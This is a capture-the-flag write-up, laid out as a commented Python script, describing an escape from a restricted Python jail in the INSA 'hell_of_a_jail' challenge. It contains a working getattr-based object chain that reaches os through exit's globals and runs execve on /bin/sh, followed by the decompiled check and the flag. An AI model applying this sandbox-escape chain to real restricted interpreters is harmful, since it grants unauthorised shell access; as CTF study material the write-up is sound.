```   ###############################################################  #  Challenge #  desc:          [ hell_of_a_jail - PWN 150 ]##       A guy from FBI found about your Ruby programming activities#       and has put you inside a python Jail ! Find your way out !# ###################################################################:'#  Profided is a ssh key, server address and port to connect to.#       -p2222  user@hell-of-a-jail.ctf.insecurity-insa.fr##  After loggin into te server i got a nice welcome message#                     and a python shell.#  But not just any shell a shell that would trim off all#  input longer than 14 chacters, with only 3 functions to use and#  remove all dots and double lower dashes and would spam your sceen#  with a thousend times the phrase "TROLLED !!!!" if a double quote#     occured in the input.#   _________________________________________________________________#  |To make matters evern worse the challenge was in python3.        |#  |Who would spam my screen with messages like,                     |#  |Missing parentheses in call to 'print'. Did you mean print("A")? |# ,+----------------------------------------------------------------=+ #####################################################################  To check what fucntions i wase allowed to use out of the box.#  I ran this on my local machine copied the output to the server#         +---------------------------------+#         | >>> for x in dir(__builtins__): |#         | ...     print('%s()'%x)         |#         +---------------------------------+#  Then I scrolled trough the error messages to check what fuctions#  were still alive and avalible.#  Turns out the only build-in functions I got to play with were:##          print(),     exit()    getattr()##  the last one I've had never used before but we became good friends#                                          during this challenge.#######################################       [ CUTE NAMED FUNCIONS ]       ##                                     #G=getattr       # G (fun)  getattr    #  Because of de 15 chacterP=print         # P (fun)  print      #  I decided to rename themE=exit          # E (fun)  exit       #  to something shorter.#                                     #  as I also had to do with#######################################  most of the stings.#              SOME USEFULL STRINGS   #u='_'+'_'       # u (str)  __         #    While trying to explore thec=u+'class'+u   # c (str)  __class__  #  possiabilities (or lack here of)cc=u+'call'+u   #cc (str)  __call__   #  I realized soon enough thatcd=u+'code'+u   #cd (str)  __code__   #  the time out on the sever wasd=u+'dir'+u     # d (str)  __dir__    #   annoyingly short, itdd=u+'doc'+u    #dd (str)  __doc__    #   also did't auto completeb=u+'bases'+u   # b (str)  __bases__  #   on tab and was printings=u+'subclas'\  # s (str)  __subclasses__   esc codes instead of moving 'ses'+u                              #   my cursur back.ss='self'       #ss (str)  self       #   I quickly moved to worinkingh='/bin/sh'     #h  (str)  /bin/sh    #   in this script instead.f='./flag.txt'  # f (str)  ./flag.txt #ff=u+'file'+u   #ff (srt)  __file__   #   this would also allow me tofg=u+'flags'+u  #fg (str)  __flags__  #   neatly organize my collectiono='open'        # o (str)  open       #     of usefull strings.r='read'        # r (str)  read       #      'n other things.e='execve'      # e (str)  execve     #   my initinal tought was tom=u+'mro'+u     # m (str)  __mro__    #  create something simulair to:n=u+'name'+u    # n (str)  __name__   #  ().__class__.__bases__[0].__subclasses__()[40]("./key").read()a='append'      # a (str)  append     #  wich I've seen and even usedg=u+'globals'\  # g (str)   __globals__  before. but i never fully ''+u                                 #  understood what was going onl=u+'locals'+u  # l (str)  __locals__ #  after a lot of time READINGv='co_varnam'\  # v (str)  co_varnames#    python documentation. 'es'                                 #  I realized the fucntionsen='environ'    #en (str)  environ    #  that i wanted to use were.#------------------------------------ #  removed from __subclasses__#  I spend a lot of time browsing around this python class space#  reading writeups and documentation trying to figure out how to#  defeat this beast. I READ about how to use getattr to access atribute#  form objects, I READ even more about this strange object oriented#  world named python and exlporing with __mro__ __subclasses__ and __dir__#  But what I should have READ a little bit better was .#  !!!!! THE welcome MESSAGE comming FROM the SERVER. !!!!!!!!#  There was a big BIG big hint in there pointing towards the exit()#  It was only when I was rearanging my terminal windows, and closing#  the billion python documentation tabs in my browser. when I#  accsendently opened the ssh connection and wanted to close it with#  CTRL+D, but that din't work because quit() wasn't there so I typed#  exit() and I got promted with a error telling me that exit() requires 1#  argument... And then my eye caught the Welcome message.#  +------------------------------------------------------+#  [Oh my jail ! You need to exit() with the correct key. ]#  [It might make you free (and give you the flag)        ]#  +------------------------------------------------------+#  After I saw this I know I was looking in the wrong places.#  and I focused my attention to the object named quit.#  Whom was holding a lot of goodies like __globals__#  With a os object.##  So I Quickly build a OBJchain.(Tm) and ran to the nearist exit.#  (what for me was '/bin/sh' I had everything already prepaired#  and ready to open a file or pop a shell.)#############################################################             [VERY USEFULL THINGEMAGADGETS]C=G(E,c)       # C (Obj)  exit.__class__B=G(C,b)       # B (Obj)  exit.__class__.__bases__D=G(C,d)       # D (Fun)  exit.__class__.__dir__S=G(B[0],s)    # S (Obj)  exit.__class__.__bases__[0].__subclasses__M=G(C,m)       # M (Obj)  exit.__class__.__mro__X=G(E,g)       # X (Dic)  exit.__globals__O=X['os']      # O (Obj)  exit.__globals__[os]Y=G(O,en)      # Y (Dic)  exit.__globals__[os].environF=G(O,e)       # F (Obj)  exit.__globals__[os].execveF(h,[h],Y)     #          exit.__globals__[os].execve('/bin/sh',['/bin/sh'],os.environ)###########################################################  So after popping the shell I was a bit confused about the#  absence of the flag.txt I was craving for for all these hours.#  The only thing besides me in the path I ended up in was jail.pyc#  but I rememberd the welcome message said something about keys and exits.#  so I check it for strings. hoping it would hold a flag.#  wich it din't. So I wrapped it in some base64 and copied it to my local#  machine to decompile.##  +----------------------------------------------------------------------+#  |def exit(arg):                                                        |#  |    """Must invoke with the right arg in order to get the flag."""    |#  |    if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:         |#  |        print('Oh no ! You managed to escape\nValidate with the key') |#  |       return sys.exit(0)                                             |#  |   print('Wrong key')                                                 |#  +----------------------------------------------------------------------+#                                                                         ##  So yeah.. . . The flag was hiding in environment variables#  INSA{688a3188bcd888ad4540da2ac73c94ae9f55ded00ed1742c4388bb7c3285acd2} ##   I had a lot of fun and learned a lot during this challenge.         # #    Shout out tO My team Mates.                                    #  #                                  -xXx-    TNX FOR READING...  #   #     #####M42D##################'''''''''''''''''''''''''''''''```